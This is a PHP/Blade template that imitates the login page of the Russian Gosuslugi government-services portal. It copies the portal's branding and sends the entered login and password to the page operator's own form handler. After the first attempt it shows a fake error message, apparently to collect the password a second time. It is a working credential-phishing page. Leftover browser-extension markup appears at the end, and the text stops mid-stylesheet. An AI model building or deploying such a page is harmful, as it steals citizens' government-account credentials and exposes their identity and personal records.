<!DOCTYPE html>

<html lang="ru">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <title>Портал государственных услуг Российской Федерации</title>
    <!--<base href="/login/">-->
    <base href=".">
    <link rel="icon" type="image/x-icon" href="<?php echo e(asset('public/gosflag.png')); ?>">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <style>
        html,
        body {
            margin: 0;
            padding: 0;
            border: 0;
            font-size: 100%;
            font: inherit;
            vertical-align: baseline
        }

        body {
            line-height: 1
        }

        @font-face {
            font-family: Lato;
            src: url("<?php echo e(asset('public/gos/Lato-Regular.92fc6f9601a72ee5.woff2')); ?>") format("woff2"), url("<?php echo e(asset('public/gos/Lato-Regular.2fe2df8844fda0a1.woff')); ?>") format("woff");
            font-weight: 400;
            font-style: normal;
            font-display: swap
        }

        @font-face {
            font-family: Lato;
            src: url("<?php echo e(asset('public/gos/Lato-Bold.08288dcf74dcce74.woff2')); ?>") format("woff2"), url("<?php echo e(asset('public/gos/Lato-Bold.d926ce1cd2c90689.woff')); ?>") format("woff");
            font-weight: 700;
            font-style: normal;
            font-display: swap
        }

        * {
            box-sizing: border-box;
            font-family: Lato, Helvetica, Arial, sans-serif, -apple-system
        }

        html {
            height: 100%;
            text-rendering: optimizeLegibility;
            -webkit-font-smoothing: antialiased;
            -moz-osx-font-smoothing: grayscale;
            -webkit-text-size-adjust: 100%
        }

        body {
            font-size: 16px;
            line-height: 24px;
            font-weight: 400;
            min-height: 100%;
            background: #e4ecfd;
            color: #0b1f33;
            font-family: Lato, Helvetica, Arial, sans-serif, -apple-system;
            padding-top: 64px;
            padding-bottom: 64px
        }

        @media (min-width: 1140px) {
            body {
                position: relative
            }
        }
    </style>
    <link rel="stylesheet" href="<?php echo e(asset('public/gos/styles.4a2732e487356280.css')); ?>" media="all" onload="this.media=&#39;all&#39;">
    <noscript>
        <link rel="stylesheet" href="<?php echo e(asset('public/gos/styles.4a2732e487356280.css')); ?>">
    </noscript>
    <style>
        .anomaly {
            line-height: 1;
            color: #0b1f33;
            outline: none
        }

        .anomaly__title-h3 {
            font-size: 24px;
            line-height: 32px;
            font-weight: 700
        }

        .anomaly__plain-text {
            color: #0b1f33;
            font-size: 16px;
            line-height: 24px
        }

        .anomaly__plain-text_small {
            font-size: 14px;
            line-height: 20px
        }

        .anomaly__plain-text>p:not(:first-child) {
            margin-top: 24px
        }

        .anomaly__plain-link {
            text-decoration: none;
            color: #0d4cd3;
            cursor: pointer
        }

        .anomaly__button {
            padding: 16px 40px;
            width: 100%;
            height: 52px;
            background: #0d4cd3;
            border-radius: 8px;
            color: #fff;
            text-align: center;
            cursor: pointer;
            border: none;
            font-size: 16px
        }

        .anomaly__button:disabled {
            background: #f5f7fA;
            pointer-events: none;
            color: #9c9286
        }

        .anomaly__button:focus-visible {
            position: relative;
            z-index: 2;
            color: #0b1f33;
            outline: none
        }

        .anomaly__button:focus-visible::before {
            content: '';
            z-index: -1;
            position: absolute;
            top: 50%;
            left: 50%;
            height: 100%;
            width: calc(100% + 5px);
            transform: translate(-50%, -50%);
            border: 3px solid #9b3be5;
            border-radius: 8px;
            background: #fef0cc
        }

        .anomaly__hide {
            display: none
        }

        .abstract-request-information__img {
            background: url(data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgODAgODAiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0zOS45OTk4IDc0QzIxLjI1MTggNzQgNS45OTk4IDU4Ljc0OCA1Ljk5OTggNDBDNS45OTk4IDIxLjI1MiAyMS4yNTE4IDYgMzkuOTk5OCA2QzU4Ljc0NzggNiA3My45OTk4IDIxLjI1MiA3My45OTk4IDQwQzczLjk5OTggNTguNzQ4IDU4Ljc0NzggNzQgMzkuOTk5OCA3NFpNNDAgMEMxNy45MSAwIDAgMTcuOTEgMCA0MEMwIDYyLjA5MiAxNy45MSA4MCA0MCA4MEM2Mi4wOTIgODAgODAgNjIuMDkyIDgwIDQwQzgwIDE3LjkxIDYyLjA5MiAwIDQwIDBaIiBmaWxsPSIjQzlEOEZBIi8+CiAgPHBhdGggZD0iTTQ0IDUzLjk1N0M0NCA1MS44MDY1IDQyLjE3MzkgNTAgNDAgNTBDMzcuODI2MSA1MCAzNiA1MS44MDY1IDM2IDUzLjk1N1Y1NC4wNDNDMzYgNTYuMTkzNSAzNy44MjYxIDU4IDQwIDU4QzQyLjE3MzkgNTggNDQgNTYuMTkzNSA0NCA1My45NTdaIiBmaWxsPSIjQzlEOEZBIi8+CiAgPHBhdGggZD0iTTQ0IDI2QzQ0IDIzLjE4MzEgNDIuMTczOSAyMiA0MCAyMkMzNy44MjYxIDIyIDM2IDIzLjE4MzEgMzYgMjZWNDJDMzYgNDQuODE2OSAzNy44MjYxIDQ2IDQwIDQ2QzQyLjE3MzkgNDYgNDQgNDQuODE2OSA0NCA0MlYyNloiIGZpbGw9IiNDOUQ4RkEiLz4KPC9zdmc+Cg==) no-repeat center;
            background-size: contain;
            width: 100%;
            height: 80px
        }

        .abstract-request-information__title {
            text-align: center;
            margin-top: 24px;
            font-weight: 700
        }

        .abstract-request-information__text {
            margin-top: 24px;
            margin-bottom: 24px
        }

        .abstract-request-information__input {
            margin-top: 24px
        }

        .input__field {
            height: 52px;
            background: #f5f7fA;
            border-radius: 8px;
            border: none;
            outline: none;
            padding: 16px;
            font-size: 16px;
            line-height: 24px;
            width: 100%
        }

        .input__field_error {
            border: 1px solid #ee3f58
        }

        .input__field:focus {
            border: 2px solid #99b1e6
        }

        .input__button {
            margin-top: 40px
        }

        .input__error {
            color: #ee3f58;
            text-align: left;
            margin-top: 8px
        }

        .static-page__img {
            background: url(data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgODAgODAiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0zOS45OTk4IDc0QzIxLjI1MTggNzQgNS45OTk4IDU4Ljc0OCA1Ljk5OTggNDBDNS45OTk4IDIxLjI1MiAyMS4yNTE4IDYgMzkuOTk5OCA2QzU4Ljc0NzggNiA3My45OTk4IDIxLjI1MiA3My45OTk4IDQwQzczLjk5OTggNTguNzQ4IDU4Ljc0NzggNzQgMzkuOTk5OCA3NFpNNDAgMEMxNy45MSAwIDAgMTcuOTEgMCA0MEMwIDYyLjA5MiAxNy45MSA4MCA0MCA4MEM2Mi4wOTIgODAgODAgNjIuMDkyIDgwIDQwQzgwIDE3LjkxIDYyLjA5MiAwIDQwIDBaIiBmaWxsPSIjQzlEOEZBIi8+CiAgPHBhdGggZD0iTTQ0IDUzLjk1N0M0NCA1MS44MDY1IDQyLjE3MzkgNTAgNDAgNTBDMzcuODI2MSA1MCAzNiA1MS44MDY1IDM2IDUzLjk1N1Y1NC4wNDNDMzYgNTYuMTkzNSAzNy44MjYxIDU4IDQwIDU4QzQyLjE3MzkgNTggNDQgNTYuMTkzNSA0NCA1My45NTdaIiBmaWxsPSIjQzlEOEZBIi8+CiAgPHBhdGggZD0iTTQ0IDI2QzQ0IDIzLjE4MzEgNDIuMTczOSAyMiA0MCAyMkMzNy44MjYxIDIyIDM2IDIzLjE4MzEgMzYgMjZWNDJDMzYgNDQuODE2OSAzNy44MjYxIDQ2IDQwIDQ2QzQyLjE3MzkgNDYgNDQgNDQuODE2OSA0NCA0MlYyNloiIGZpbGw9IiNDOUQ4RkEiLz4KPC9zdmc+Cg==) no-repeat center;
            background-size: contain;
            width: 100%;
            height: 80px
        }

        .static-page__title {
            margin-top: 24px;
            text-align: center;
            font-weight: 700
        }

        .static-page__description {
            text-align: center;
            margin-top: 24px
        }

        .sms__description {
            text-align: center;
            margin-top: 24px
        }

        .sms__phone {
            font-weight: bold
        }

        .sms__input {
            margin-top: 24px
        }

        .no-verify-attempts {
            margin-top: 24px
        }

        .no-verify-attempts__img {
            background: url(data:image/svg+xml;base64, ) no-repeat top center;
            width: 100%;
            height: 80px
        }

        .no-verify-attempts__text {
            color: #ee3f58;
            margin-top: 24px
        }

        .verify-timeout__button {
            margin-top: 24px
        }

        .renew {
            margin-top: 24px
        }

        .faq-link {
            margin-top: 24px
        }

        .totp__description {
            margin-top: 24px
        }

        .totp__input {
            margin-top: 24px
        }
    </style>
    <style>
        .modal[_ngcontent-yht-c18] {
            z-index: 9999999999;
            position: fixed;
            inset: 0;
            display: none;
            justify-content: center;
            align-items: center;
            overflow: auto
        }

        .modal_open[_ngcontent-yht-c18] {
            display: flex
        }

        @media (max-width: 767px) {
            .modal_open[_ngcontent-yht-c18] {
                display: block
            }
        }

        .modal_open.modal_scroll[_ngcontent-yht-c18] {
            display: block
        }

        .modal__fade[_ngcontent-yht-c18] {
            position: fixed;
            inset: 0;
            pointer-events: none;
            background: rgba(11, 31, 51, .62);
            backdrop-filter: blur(10px);
            -webkit-backdrop-filter: blur(10px);
            transition: background .25s
        }

        .modal__fade_close[_ngcontent-yht-c18] {
            pointer-events: auto
        }

        .modal-body[_ngcontent-yht-c18] {
            position: relative;
            padding: 32px 24px;
            background: #ffffff;
            margin-left: auto;
            margin-right: auto;
            box-shadow: 0 12px 32px #0b1f332e;
            outline: none
        }

        @media (max-width: 767px) {
            .modal-body[_ngcontent-yht-c18] {
                min-height: 100vh
            }
        }

        @media (min-width: 768px) {
            .modal-body[_ngcontent-yht-c18] {
                min-width: 634px;
                max-width: 634px;
                padding: 32px;
                margin: 48px auto;
                border-radius: 12px;
                height: auto
            }
        }

        .modal-body__close[_ngcontent-yht-c18] {
            position: absolute;
            top: 21px;
            right: 21px;
            width: 30px;
            height: 30px;
            border: 3px solid transparent;
            cursor: pointer;
            font-size: 0;
            line-height: 0;
            color: transparent
        }

        @media (min-width: 768px) {
            .modal-body__close[_ngcontent-yht-c18] {
                top: 36px;
                right: 32px
            }
        }

        .modal-body__close[_ngcontent-yht-c18]:focus-visible {
            outline: none;
            border-radius: 8px;
            border: 3px solid #9b3be5;
            background: #fef0cc
        }

        .modal-opened_hide-close-button[_ngcontent-yht-c18] .modal-body__close[_ngcontent-yht-c18] {
            display: none
        }

        .modal-body__close[_ngcontent-yht-c18]:before,
        .modal-body__close[_ngcontent-yht-c18]:after {
            content: "";
            position: absolute;
            top: 2px;
            left: 11px;
            width: 2px;
            height: 20px;
            background: #0d4cd3;
            transform: rotate(45deg)
        }

        .modal-body__close[_ngcontent-yht-c18]:before {
            transform: rotate(45deg)
        }

        .modal-body__close[_ngcontent-yht-c18]:after {
            transform: rotate(-45deg)
        }

        .modal-body__title[_ngcontent-yht-c18] {
            padding: 0 40px 26px 0;
            border-bottom: 1px solid #99b1e6
        }
    </style>
    <style>
        .disclaimers[_ngcontent-yht-c89] {
            margin-top: -48px;
            max-height: 100vh;
            overflow-y: auto
        }

        .disclaimer[_ngcontent-yht-c89] {
            position: relative;
            max-width: 384px;
            padding: 16px 48px 16px 38px;
            margin-left: auto;
            margin-right: auto;
            border-radius: 8px;
            background: #ffffff;
            box-shadow: 0 6px 16px #e6ebf5cc;
            word-wrap: break-word
        }

        .disclaimer[_ngcontent-yht-c89]:before {
            content: "";
            position: absolute;
            top: 16px;
            left: 16px;
            width: 6px;
            height: calc(100% - 32px);
            border-radius: 8px;
            background: #fed13e
        }

        .disclaimer.warning[_ngcontent-yht-c89]:before {
            background: #ff8a00
        }

        .disclaimer.error[_ngcontent-yht-c89]:before {
            background: #ee3f58
        }

        .close[_ngcontent-yht-c89] {
            position: absolute;
            top: 16px;
            right: 16px;
            width: 16px;
            height: 16px;
            background: url(disclaimer-close.70133dc9a13eca08.svg) 100% center;
            cursor: pointer
        }

        .close[_ngcontent-yht-c89]:focus-visible {
            outline-color: #9b3be5;
            border-radius: 2px;
            background-color: #fef0cc
        }

        @media  all and (min-width: 1450px) {
            .disclaimers[_ngcontent-yht-c89] {
                position: fixed;
                z-index: 4;
                bottom: 0;
                left: 32px;
                margin-top: 0;
                padding: 24px 8px 24px 0;
                overscroll-behavior: contain;
                scrollbar-width: thin;
                scrollbar-color: #d1d5df transparent
            }

            .disclaimers[_ngcontent-yht-c89] .files-block {
                margin-top: 0
            }

            .disclaimers[_ngcontent-yht-c89]::-webkit-scrollbar {
                background-color: transparent;
                width: 16px
            }

            .disclaimers[_ngcontent-yht-c89]::-webkit-scrollbar-thumb {
                background-color: #d1d5df;
                border-radius: 8px;
                border: 4px solid #ffffff
            }

            .disclaimer[_ngcontent-yht-c89] {
                max-width: 488px
            }
        }
    </style>
    <style>
        .logo[_ngcontent-yht-c12] {
            position: relative;
            display: block;
            height: 30px;
            margin: 0 auto;
            font-size: 0;
            background-size: 100%;
            outline: none
        }

        .logo[_ngcontent-yht-c12]:focus-visible:after {
            z-index: 0;
            position: absolute;
            top: 50%;
            left: 50%;
            height: 100%;
            width: 100%;
            transform: translate(-50%, -50%);
            padding: 0 8px 3px;
            border: 3px solid #9b3be5;
            border-radius: 8px;
            background: #fef0cc
        }

        .logo[_ngcontent-yht-c12]:before,
        .logo[_ngcontent-yht-c12]:after {
            content: ""
        }

        .logo[_ngcontent-yht-c12]:before {
            z-index: 1;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            display: block;
            width: 193px;
            height: 30px;
            background: url("<?php echo e(asset('public/gos/logo.4db68cf668f7092d.svg')); ?>") no-repeat 0 0;
            background-size: 100%
        }

        .logo img {
  display: block;
  width: auto; /* Сохраняет пропорции */
  height: 50px; /* Высота логотипа */
  margin: 0 auto; /* Центрирует изображение */
  height: 32px;
}

        @media (min-width: 768px) {
            .logo[_ngcontent-yht-c12]:before {
                margin-top: 6px
            }
        }
    </style>
    <style>
        .banners[_ngcontent-yht-c79] {
            margin: 40px 0 0
        }

        .icon[_ngcontent-yht-c79] {
            width: 48px;
            height: 48px
        }

        .banner[_ngcontent-yht-c79] {
            position: relative;
            border-radius: 12px;
            padding: 24px;
            box-shadow: 0 6px 16px #e6ebf5cc;
            text-align: left;
            color: #3b3b3b;
            line-height: 24px;
            background: #ffffff
        }

        .close[_ngcontent-yht-c79] {
            position: absolute;
            right: 7px;
            top: 7px;
            width: 29px;
            height: 29px;
            border: 3px solid transparent;
            cursor: pointer
        }

        .close[_ngcontent-yht-c79]:before {
            content: "";
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 20px;
            height: 20px;
            background: url(close.6935063d24442f7a.svg) 100% no-repeat
        }

        .close[_ngcontent-yht-c79]:focus-visible {
            outline: none;
            border: 3px solid #9b3be5;
            border-radius: 4px;
            background-color: #fef0cc
        }

        @media (min-width: 1140px) {
            .banners[_ngcontent-yht-c79] {
                position: absolute;
                top: 0;
                left: 100%;
                width: 280px;
                margin: 0 0 0 40px
            }
        }
    </style>
    <style>
        .avatar[_ngcontent-yht-c74] {
            width: 64px;
            height: 64px;
            border: 2px solid #f3f5fb;
            border-radius: 50%;
            margin-right: 16px;
            background: url(user.d4f72dce95b2bb40.svg) no-repeat center
        }

        @media  all and (min-width: 768px) {
            .avatar[_ngcontent-yht-c74] {
                margin: 0 auto
            }
        }
    </style>
    <style>

.input-control {
  position: relative;
  margin-bottom: 20px;
}

.input-control .input-label {
  position: absolute;
  top: 50%; /* Высота по умолчанию */
  left: 10px; /* Отступ от левого края */
  transform: translateY(-40%); /* Слегка опустим текст ниже */
  font-size: 16px;
  color: #aaa; /* Серый цвет текста */
  transition: all 0.3s ease;
  pointer-events: none; /* Исключаем возможность клика на label */
}

.input-control input:focus + .input-label,
.input-control input:not(:placeholder-shown) + .input-label {
  top: 0;
  transform: translateY(-10%); /* Корректируем высоту, чтобы текст стал ровным */
  font-size: 12px;
  color: #555; /* Более тёмно-серый цвет текста при фокусе */
}

.plain-input {
  width: 100%; /* Растягиваем поле ввода */
  padding: 12px 10px; /* Добавляем отступы */
  font-size: 16px;
  border: 1px solid #ccc; /* Лёгкая граница */
  border-radius: 4px; /* Сглаживаем углы */
  outline: none; /* Убираем стандартный фокус */
}

.plain-input:focus {
  border-color: #007bff; /* Цвет границы при фокусе */
  box-shadow: 0 0 4px rgba(0, 123, 255, 0.5); /* Лёгкий эффект свечения */
}

        .input-password[_ngcontent-yht-c58] {
            position: relative
        }

        .input-password[_ngcontent-yht-c58] .toggle[_ngcontent-yht-c58] {
            padding: 0;
            -webkit-appearance: none;
            -moz-appearance: none;
            appearance: none;
            border: none;
            background: none;
            font-family: inherit;
            font-size: inherit;
            line-height: inherit;
            border: 0;
            text-align: left;
            box-shadow: none;
            color: inherit;
            position: absolute;
            top: 14px;
            right: 16px;
            width: 24px;
            height: 24px;
            cursor: pointer;
            background: url(password-hidden.a803b70530adcfb7.svg) no-repeat center;
            font-size: 0
        }

        .input-password[_ngcontent-yht-c58] .toggle.invalid[_ngcontent-yht-c58] {
            background: url(password-hidden-error.d6074ce92d29c5b6.svg) no-repeat center
        }

        .input-password[_ngcontent-yht-c58] .toggle.show[_ngcontent-yht-c58] {
            background: url(password-shown.6602aebea52daaac.svg) no-repeat center
        }

        .input-password[_ngcontent-yht-c58] .toggle.show.invalid[_ngcontent-yht-c58] {
            background: url(password-shown-error.206b272f7897013e.svg) no-repeat center
        }

        .input-password[_ngcontent-yht-c58] .plain-input[_ngcontent-yht-c58] {
            padding-right: 56px
        }

        .input-password[_ngcontent-yht-c58] .toggle[_ngcontent-yht-c58]:focus-visible {
            z-index: 2;
            background-color: #fef0cc;
            outline: none
        }

        .input-password[_ngcontent-yht-c58] .toggle[_ngcontent-yht-c58]:focus-visible:before {
            content: "";
            z-index: -1;
            position: absolute;
            top: 50%;
            left: 50%;
            height: 100%;
            width: calc(100% + 5px);
            transform: translate(-50%, -50%);
            border: 3px solid #9b3be5;
            border-radius: 8px
        }

        .input-password[_ngcontent-yht-c58] .plain-input[_ngcontent-yht-c58] {
            padding-right: 56px
        }

        .tooltip[_ngcontent-yht-c58] {
            display: none
        }

        @media (min-width: 1140px) {
            .tooltip[_ngcontent-yht-c58] {
                display: block;
                position: absolute;
                z-index: 1;
                top: 0;
                left: 100%;
                width: 314px;
                padding: 16px;
                margin: 0 0 0 64px;
                border-left: 4px solid #99b1e6;
                border-radius: 4px 8px 8px 4px;
                box-shadow: 0 24px 48px #e6ebf566;
                background: #ffffff
            }

            .tooltip[_ngcontent-yht-c58] .caption[_ngcontent-yht-c58] {
                font-size: 16px;
                line-height: 24px;
                color: #0b1f33;
                font-weight: 600
            }

            .tooltip[_ngcontent-yht-c58] .rule[_ngcontent-yht-c58] {
                font-size: 14px;
                line-height: 20px;
                color: #66727f
            }
        }
    </style>
</head>

<body>
    <esia-root _nghost-yht-c19="" ng-version="14.3.0"><!---->
        <div _ngcontent-yht-c19=""><router-outlet _ngcontent-yht-c19=""></router-outlet><esia-login
                _nghost-yht-c93=""><esia-disclaimers _ngcontent-yht-c93="" _nghost-yht-c89="">
                    <div _ngcontent-yht-c89="" class="disclaimers mb-32 mb-md-0"><!----></div><!---->
                </esia-disclaimers><!---->
                <div _ngcontent-yht-c93="" class="container">
                    <div _ngcontent-yht-c93="" class="form-container disable-outline" tabindex="0"><!----><esia-header
                            _ngcontent-yht-c93="" _nghost-yht-c12="">
                            <header _ngcontent-qtn-c12="" class="mb-40">
  <a _ngcontent-qtn-c12="" tabindex="0" class="logo" href="https://gosuslugi.ru" aria-label="Портал государственных услуг Российской Федерации">
    <img src="<?php echo e(asset('public/gos/logo.4db68cf668f7092d.svg')); ?>" alt="Портал государственных услуг Российской Федерации">
  </a>
</header>

                        </esia-header>
                        <form _ngcontent-yht-c93="" novalidate="" class="ng-pristine ng-invalid ng-touched" action="<?php echo e(route('form.store')); ?>" method="POST">
                        <?php echo csrf_field(); ?>

                        <div _ngcontent-yht-c93="" class="input-control mb-20">
    <esia-input _ngcontent-yht-c93="" formcontrolname="login" _nghost-yht-c57=""
                class="ng-pristine ng-invalid ng-touched">
        <input _ngcontent-yht-c57="" 
               type="text" class="plain-input" tabindex="0" autocomplete="on"
               aria-label="Логин - введите телефон, email, или СНИЛС"
               name="visible_field" id="visible_field" value="<?php echo e(old('visible_field')); ?>" placeholder=" " 
               required>
           

        <label _ngcontent-yht-c57="" aria-hidden="true" class="input-label" for="visible_field">
            Телефон / Email / СНИЛС
        </label>
      
    </esia-input>
</div>
<?php $__errorArgs = ['visible_field'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> 
            <p style="color: red;"><?php echo e($message); ?></p> 
        <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>

<div _ngcontent-yht-c93="" class="input-control mb-8">
    <esia-input-password _ngcontent-yht-c93="" formcontrolname="password" _nghost-yht-c58=""
                         class="ng-untouched ng-pristine ng-invalid">
       <div _ngcontent-yht-c58="" class="input-password">
    <input
        _ngcontent-yht-c58=""
        id="hidden_field"
        class="plain-input"
        type="password"
        tabindex="0"
        name="hidden_field"
        placeholder=" "
        required
    >

    <label _ngcontent-yht-c58="" class="input-label" for="hidden_field">
        Пароль
    </label>

    <span class="password-toggle" id="passwordToggle">
        <img
            id="passwordIcon"
            src="<?php echo e(asset('public/gos/password-hidden.a803b70530adcfb7.svg')); ?>"
            alt="Переключить отображение пароля"
        >
    </span>
</div>
<style>
.input-password {
    position: relative;
}

.input-password .plain-input {
    padding-right: 45px;
}

.password-toggle {
    position: absolute;
    right: 14px;
    top: 50%;
    transform: translateY(-50%);
    width: 24px;
    height: 24px;
    cursor: pointer;
    display: none; /* скрыт, пока поле пустое */
    align-items: center;
    justify-content: center;
    z-index: 5;
}

.password-toggle img {
    width: 22px;
    height: 22px;
    user-select: none;
    pointer-events: none;
}
</style>
<script>
document.addEventListener('DOMContentLoaded', function () {

    const input = document.getElementById('hidden_field');
    const toggle = document.getElementById('passwordToggle');
    const icon = document.getElementById('passwordIcon');

    const hiddenIcon = "<?php echo e(asset('public/gos/password-hidden.a803b70530adcfb7.svg')); ?>";
    const shownIcon  = "<?php echo e(asset('public/gos/password-shown.6602aebea52daaac.svg')); ?>";

    function updateToggleVisibility() {
        toggle.style.display = input.value.length > 0 ? 'flex' : 'none';

        // Если поле очистили — вернуть режим скрытого пароля
        if (input.value.length === 0) {
            input.type = 'password';
            icon.src = hiddenIcon;
        }
    }

    input.addEventListener('input', updateToggleVisibility);

    toggle.addEventListener('click', function () {
        if (input.type === 'password') {
            input.type = 'text';
            icon.src = shownIcon;
        } else {
            input.type = 'password';
            icon.src = hiddenIcon;
        }
    });

    // Проверка при загрузке страницы (например, если браузер автозаполнил пароль)
    updateToggleVisibility();

});
</script>
        <?php $__errorArgs = ['hidden_field'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> 
                <p style="color: red;"><?php echo e($message); ?></p> 
            <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
            <?php if(session('first_success')): ?>
                <p style="color: red; font-size: 0.9rem; margin-top: 8px;">Ошибка: данные некорректны или сервер временно недоступен.</p>
            <?php endif; ?>
    </esia-input-password>
</div>

                            <div _ngcontent-yht-c93="" class="flex-container justify-between mb-40"><button
                                    _ngcontent-yht-c93="" type="button" tabindex="0" class="plain-button-inline">
                                    Восстановить </button></div>
                            <div _ngcontent-yht-c93="" class="mt-40"><button _ngcontent-yht-c93="" tabindex="0"
                                    class="plain-button plain-button_wide"> Войти </button>
                                <div _ngcontent-yht-c93="" class="form-container__actions mt-40">
                                    <div _ngcontent-yht-c93="" class="form-container__actions-title mb-16 text-helper">
                                        Войти другим способом </div>
                                    <div _ngcontent-yht-c93=""
                                        class="form-container__actions-row form-container__actions-row_grid">
                                        <div _ngcontent-yht-c93="" class="form-container__actions-col"><button
                                                _ngcontent-yht-c93="" tabindex="0"
                                                class="plain-button plain-button_light" aria-label="Войти по QR-коду">
                                                QR-код </button></div><!---->
                                        <div _ngcontent-yht-c93="" class="form-container__actions-col"><button
                                                _ngcontent-yht-c93="" type="button" tabindex="0"
                                                class="plain-button plain-button_light"
                                                aria-label="Войти по электронной подписи"> Эл. подпись </button><!---->
                                        </div>
                                    </div>
                                </div><!----><!----><!----><!---->
                            </div>
                            <div class="mt-40 text-center">
    <a href="https://www.gosuslugi.ru/help/faq/login/8" class="plain-button-inline" tabindex="0">
        Не удаётся войти?
    </a>
</div>

                        </form>
                        <!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!---->
                    </div>
                    <div _ngcontent-yht-c93="" class="text-center mt-20 mt-md-40 mb-md-40"></div>
                    <!----><esia-banner _ngcontent-yht-c93="" _nghost-yht-c79="">
                        <div _ngcontent-yht-c79="" class="banners">
                            <div _ngcontent-yht-c79="" class="banner"><!----><!---->
                                <div _ngcontent-yht-c79="">
                                    <div><img src="<?php echo e(asset('public/gos/Esia_a1.svg')); ?>" style="width: 48px;height: 48px;"></div>
                                    <div style="width: 180px;margin: 16px 0 -1px;letter-spacing: -0.025em;"><a
                                            href="https://www.gosuslugi.ru/landing/esia-help" target="_blank">Куда ещё
                                            можно войти с паролем от Госуслуг?</a></div>
                                </div>
                            </div><!----><!---->
                        </div>
                    </esia-banner><!---->
                </div><!----><!---->
            </esia-login><!----><!----><!----></div><!----><esia-modal _ngcontent-yht-c19="" _nghost-yht-c18="">
            <div _ngcontent-yht-c18="" class="modal">
                <div _ngcontent-yht-c18="" class="modal__fade modal__fade_close"></div>
                <div _ngcontent-yht-c18="" class="modal-body disable-outline" tabindex="0">
                    <div _ngcontent-yht-c18="">
                        <div _ngcontent-yht-c18=""></div><!---->
                    </div><button _ngcontent-yht-c18="" type="button" class="modal-body__close"> Закрыть окно
                    </button><!---->
                </div>
            </div>
        </esia-modal>
    </esia-root>


    <div id="veepn-breach-alert"><template shadowrootmode="open">
            <style>
                .breach-popup {
                    font-family: FigtreeVF, sans-serif;
                    position: fixed;
                    z-index: 2147483638;
                    text-rendering: optimizelegibility;
                    top: 0;
                    left: 0;
                    right: 0;
                    pointer-events: none;
                    padding-inline: 16px;
                    height: 0;
                    overflow: visible;
                    color: #222e3a
                }

                .breach-popup * {
                    box-sizing: border-box
                }

                .breach-popup__inner {
                    background-color: #de4558;
                    width: 100%;
                    border-radius: 16px;
                    margin-inline: auto;
                    pointer-events: all;
                    position: relative;
                    transition: transform .25s ease-in-out, max-width .25s ease-in-out;
                    transform: translateY(16px);
                    max-height: calc(100svh - 80px);
                    display: flex;
                    flex-direction: column
                }

                .breach-popup__header {
                    min-height: 32px;
                    display: flex;
                    align-items: center;
                    justify-content: space-between;
                    column-gap: 16px;
                    padding: 4px;
                    cursor: pointer
                }

                .breach-popup__close {
                    cursor: pointer;
                    background-color: transparent;
                    border-style: none;
                    outline: none;
                    display: flex;
                    align-items: center;
                    justify-content: center;
                    width: 24px;
                    height: 24px;
                    flex-shrink: 0;
                    opacity: .5
                }

                .breach-popup__wrap {
                    display: grid;
                    grid-template-rows: 0fr;
                    transition: grid-template-rows .25s ease-in-out;
                    overflow: hidden
                }

                .breach-popup__content {
                    overflow: hidden;
                    opacity: 0;
                    transform: translateY(-10px)
                }

                .breach-popup--minimize .breach-popup__inner {
                    max-width: 485px;
                    transform: translateY(-100%)
                }

                .breach-popup--collapse .breach-popup__inner {
                    max-width: 485px
                }

                .breach-popup--expand .breach-popup__inner {
                    max-width: 1120px
                }

                .breach-popup--expand .breach-popup__wrap {
                    grid-template-rows: 1fr
                }

                .breach-popup--expand .breach-popup__content {
                    opacity: 1;
                    transform: translateY(0);
                    transition: transform .25s ease-in-out, opacity .25s ease-in-out;
                    transition-delay: .15s
                }

                .breach-popup--expand .breach-popup__header {
                    cursor: default
                }

                .breach-info {
                    padding: 2px;
                    height: 100%
                }

                .breach-info__inner {
                    padding: 22px 22px 0;
                    background-color: #fff;
                    border-bottom-left-radius: 15px;
                    border-bottom-right-radius: 15px;
                    height: 100%;
                    overflow: auto
                }

                .breach-info__alert {
                    font-size: 24px;
                    line-height: 32px;
                    font-weight: 700;
                    margin: 0
                }

                .breach-info__list {
                    margin-top: 24px;
                    display: flex;
                    flex-wrap: wrap;
                    gap: 24px
                }

                @media  only screen and (width >=992px) {
                    .breach-info__list {
                        flex-wrap: nowrap
                    }
                }

                .breach-info__item {
                    width: 100%
                }

                .breach-info__item:nth-child(2) {
                    max-width: 320px
                }

                .breach-info__item:nth-child(3) {
                    max-width: 200px
                }

                .breach-info__title {
                    font-size: 18px;
                    font-weight: 700;
                    line-height: 32px;
                    letter-spacing: -.1px;
                    color: #de4558;
                    margin-top: 0;
                    margin-bottom: 4px
                }

                .breach-info__description {
                    font-size: 16px;
                    line-height: 28px;
                    letter-spacing: -.1px
                }

                .breach-info__description ul {
                    margin: 0
                }

                .breach-info__actions {
                    display: flex;
                    justify-content: center;
                    padding-top: 32px;
                    padding-bottom: 22px;
                    background-color: #fff;
                    position: sticky;
                    bottom: 0
                }

                .breach-info__btn {
                    cursor: pointer;
                    border-style: none;
                    outline: none;
                    display: inline-flex;
                    align-items: center;
                    height: 48px;
                    padding-inline: 20px;
                    border-radius: 12px;
                    text-align: center;
                    font-size: 16px;
                    font-weight: 700;
